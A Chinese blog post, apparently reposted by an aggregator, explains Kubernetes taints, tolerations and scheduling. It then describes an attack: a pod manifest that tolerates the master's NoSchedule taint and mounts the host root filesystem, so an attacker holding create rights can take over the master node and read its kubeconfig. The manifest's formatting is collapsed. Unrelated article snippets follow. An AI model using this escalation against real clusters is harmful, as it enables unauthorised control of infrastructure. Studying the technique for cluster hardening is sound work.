K8s污点容忍调度逃逸

news/2025/4/2 20:58:21/文章来源:https://www.cnblogs.com/0xd3ac/p/18803806

污点与容忍

简单说:
污点:被打上污点Taints的节点,不会被调度器部署pod应用。
容忍:允许调度器部署pod应用到打上污点Taints的节点。

污点(Taints)

污点里的值有三种:
1. NoSchedule:POD 不会被调度到标记为 taints 节点。(不会被调度)
2. PreferNoSchedule:NoSchedule 的软策略版本。(尽量不被调度)
3. NoExecute:该选项意味着一旦 Taint 生效,如该节点内正在运行的 POD 没有对应 Tolerate 设置,会直接被逐出。 (是不会调度并且还会驱逐node已有的pod
查看污点情况:
kubectl describe node nodename

为什么用污点

因为k8s集群每一个请求都需要走master节点kube-apiserver,因此master节点非常重要,所以pod应用一般不部署master节点。那么给master节点打上污点Taints,这样调度的时候就不会部署到带有污点的机器了 为什么用容忍? 比如被打上污点Taints的master节点需要部署某个pod应用,那么就需要容忍声明,这样就可以调度到带有污点的机器了

污点容忍度(tolerations)

容忍度tolerations是定义在 Pod对象上的键值型属性数据,用于配置其可容忍的节点污点,而且调度器仅能将Pod对象调度至其能够容忍该节点污点的节点之上。

污点定义在节点的node Spec中,而容忍度则定义在PodpodSpec中,它们都是键值型数据。

Pod对象上定义容忍度时,它支持两种操作符:一种是等值比较Equal,表示容忍度与污点必须在keyvalueeffect三者之上完全匹配;另一种是存在性判断Exists,表示二者的keyeffect必须完全匹配,而容忍度中的value字段要使用空值。

  • 如果operatorExists(此时容忍度不能指定 value)
  • 如果operatorEqual,则它们的value应该相等

而污点容忍的作用举个例子,如果像上面污点一样设置了NoSchedule污点的节点,那么创建pod的时候是必不被调度到的,但是如果我使用污点容忍,那这个节点可以在设置NoSchedule污点的情况下可能又被调度,类似于亲和性那种作用。

K8s 调度器

kube-schedulerKubernetes 集群的默认调度器,并且是集群控制面(master)的一部分。对每一个新创建的Pod或者是未被调度的Pod,kube-scheduler会选择一个最优的Node去运行这个Pod
然而,Pod内的每一个容器对资源都有不同的需求,而且Pod本身也有不同的资源需求。因此,Pod在被调度到Node上之前,根据这些特定的资源调度需求,需要对集群中的Node进行一次过滤。

调度器作用

当创建pod时候,会首先把创建的命令请求提交给apiserver,通过一系列认证授权,apiserver把pod数据存储到etcd,创建deployment资源并初始化。然后再是scheduler通过进行list-watch机制进行监测,经过调度算法把pod调度到某个node节点上,最后信息更新到etcd,再后面就是kubelet接受信息到创建容器。

影响调度因素

  • pod资源限制
    当前调度器选择适当的节点时,调度程序会检查每个节点是否有足够的资源满足 Pod 调度,比如查看CPU和内存限制是否满足:

  • 节点选择器nodeSelector
    在创建pod的时候,节点选择器可以约束pod在特定节点上运行。
    nodeSelector 也是节点选择约束的最简单推荐形式,nodeSelector 字段添加到 Pod 的规约中设置希望目标节点所具有的节点标签。 K8s 只会将 Pod 调度到拥有你所指定的每个标签的节点上。

  • 节点亲和性nodeAffinity
    节点亲和性概念上类似于 nodeSelector, 它使可以根据节点上的标签来约束 Pod 可以调度到哪些节点上,这种方法比上面的nodeSelector更加灵活,它可以进行一些简单的逻辑组合了,不只是简单的相等匹配

污点横向Master

攻击思路:

拿到一个具有`Create`权限的凭据,一般通过创建特权容器逃逸到Node节点,但是默认创建Pods是不允许调度到Master节点的,所以想拿到Master节点可以使用污点容忍度,创建调度到Master节点的pod,然后逃逸到Master

Master节点的污点情况

通过查询详细信息发现默认K8s Master节点是被标记污点 :Taints: node-role.kubernetes.io/master:NoSchedule 表示默认情况下master节点将不会调度运行Pod,即不运行工作负载


创建一个具有node-role.kubernetes.io/master:NoSchedule容忍度的Pod,然后被master节点调度


```yml
apiVersion: v1
kind: Pod
metadata:name: masterpwn1namespace: cloud-prod
spec:tolerations:- key: "node-role.kubernetes.io/master"operator: "Exists"effect: "NoSchedule"volumes:- name: pwnmaster-voahostPath:path: /containers:- name: nginximage: nginximagePullPolicy: IfNotPresentvolumeMounts:- name: pwnmaster-voamountPath: /mntports: - containerPort: 8080serviceAccountName: cloud-account

通过多次调用创建容器,可以发现已经可以在master创建pods

由于这个容器挂载了宿主机的根目录,也就是挂载了Master节点的根目录所以就可以任意操作宿主机

读取Kubeconfig配置文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/909450.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

创建windows脚本bat/cmd或jar为windows服务完整教程

​一、将windows bat/cmd脚本创建为windows服务 1、下载winsw工具 https://gitee.com/colinisg/winsw/releases/download/v2.12.0/WinSW-2.12.0-x64.exe 2、创建服务配置xml文件 ①将下载的工具WinSW-2.12.0-x64.exe放到脚本目录位置,并修改名称,这里的名称是要安装的服务的名…

【每日一题】20250401

四月清和雨乍晴,南山当户转分明。 更无柳絮因风起,惟有葵花向日倾。【每日一题】 1.(5分) \(\hspace{0.7cm}\)在某次光电效应实验中,得到的遏止电压 \(U_c\) 与入射光的频率 \(\nu\) 的关系如图 \(1\) 所示,若该直线的斜率和截距分别为 \(k\) 和 \(b\),电子电荷量的绝对…

字节跳动敏捷实践:2025年OKR与Scrum框架的5大落地经验

随着数字化转型加速,敏捷管理与OKR(目标与关键结果)成为企业提升组织执行力的核心工具。根据《敏捷宣言》提出的价值观,Scrum框架通过固定迭代周期(Sprint)和跨职能协作,帮助团队高效应对需求变化。字节跳动作为全球领先的科技公司,自2016年起将OKR与Scrum深度结合,实…

可视化图解算法: 二叉树的后序遍历

对于二叉树的相关算法,我们总结了一套【可视化+图解】方法,依据此方法来解决相关问题,算法变得易于理解,写出来的代码可读性高也不容易出错。1. 题目 描述 给定一个二叉树,返回他的后序遍历的序列。 后序遍历是值按照 左节点->右节点->根节点 的顺序的遍历。 数据范…

如何估计llm的GPU显存?

如何估计llm的GPU显存?计算本地运行 llm 所需的 GPU 显存随着GPT、 Llama 和 Deepseek等大型 llm 的兴起,人工智能从业者面临的最大挑战之一是弄清楚他们需要多少 GPU 显存来有效地为这些模型服务。GPU 资源昂贵,因此优化显存分配至关重要。这里通过一个简单有效的公式来估…

如何优化和提高MaxKB回答的质量和准确性?

目前 ChatGPT、GLM等生成式人工智能在文本生成、文本到图像生成等在各行各业的都有着广泛的应用,但是由于大模型训练集基本都是构建于网络公开的数据,对于一些实时性的、非公开的或离线的数据是无法获取到的,这个导致了在实际应用场景中会发现,通用的基础大模型基本无法满足…

直线思维的进化:线性到广义线性

在数据科学领域,线性模型和广义线性模型是两种基础且重要的统计工具, 它们被广泛应用于各种预测和分析任务中,从简单的回归问题到复杂的分类场景。 今天,让我们深入探讨这两种模型,了解它们的原理、区别以及实际应用。 1. 线性模型:统计分析的基石 线性模型是统计学中最早…

ArkTS编程语法基础,让你成为HarmonyOS开发高手

ArkTS简介 ArkTS是HarmonyOS主力应用开发语言。它在TypeScript (简称TS)的基础上,匹配ArkUI框架,扩展了声明式UI、状态管理等相应的能力,让开发者以更简洁、更自然的方式开发跨端应用。ArkTS基于TvpeScript语言,拓展了声明式UI、状态管理、并发任务等能力。 ArkUI开发框架的…

maven项目打包发布

打开命令行,进入项目根目录,执行以下Maven命令:mvn clean package使用以下命令来运行打包后的JAR文件:java -jar delay.jar

【一步步开发AI运动APP】五、人体检测能力调用

之前我们为您分享了【一步步开发AI运动小程序】开发系列博文,通过该系列博文,很多开发者开发出了很多精美的AI健身、线上运动赛事、AI学生体测、美体、康复锻炼等应用场景的AI运动小程序;为了帮助开发者继续深耕AI运动领域市场,今天开始我们将为您分享新系列【一步步开发AI…

别再混淆了!质量管理IQC、PQC、FQC、OQC究竟应该怎么区分?

今天我们来聊一个看似简单,但常常让人搞混的概念—— 质量管理中的IQC、PQC、FQC、OQC 。 你是不是也经常在工作中碰到这几个缩写,心里想着“这个是做啥的,那个又是负责啥的”,总是搞不清楚它们的区别? 其实,这些概念看似相似,但每个职能都有不同的侧重点和职责。 接下来…